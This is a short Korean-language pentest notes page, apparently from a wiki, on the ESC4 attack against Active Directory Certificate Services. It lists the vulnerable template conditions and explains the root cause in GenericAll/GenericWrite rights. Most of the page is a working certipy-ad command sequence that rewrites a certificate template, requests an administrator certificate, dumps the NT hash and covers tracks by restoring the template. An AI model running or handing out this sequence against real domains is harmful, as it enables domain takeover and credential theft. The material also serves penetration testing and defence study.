ESC4
ESC4은 다음과 같은 속성들이 모두 만족할 때 가능한 ADCS 공격입니다.
속성
값
Authorized Signatures Required
0
Requires Manager Approval
False
Enrollment Rights
공격자가 컨트롤 가능한 객체 이하의 권한
User ACL Principals
공격자가 컨트롤 가능한 객체
템플릿에 대해서 높은 권한을 가진 계정을 탈취하는데 성공하면 템플릿의 속성을 ESC1에 취약하게 변경할 수 있습니다.
Abuse
# 취약한 템플릿 열거
certipy-ad find -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -vulnerable -stdout -enabled
# 템플릿 속성 변경
certipy-ad template -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -template ESC4 -write-default-configuration
# 템플릿을 통한 인증서 발급
certipy-ad req -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -target AD01.CONTOSO.COM -ca CONTOSO-AD01-CA -template ESC4 -upn [email protected]
# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.11
# 템플릿 속성 복구
certipy-ad template -u Mick3y -p 'Password123!' -dc-ip 192.168.1.11 -template ESC4 -write-configuration ESC4.json -no-save
Root Cause
User ACL Principals
템플릿에 대해서 GenericAll, GenericWrite 권한이 있으면 해당 템플릿의 모든 속성을 ESC1에 적합하도록 변경할 수 있습니다. 악용을 위해 변경하는 속성들에 대한 설명은 ESC1을 참고하세요.

References
Last updated
Was this helpful?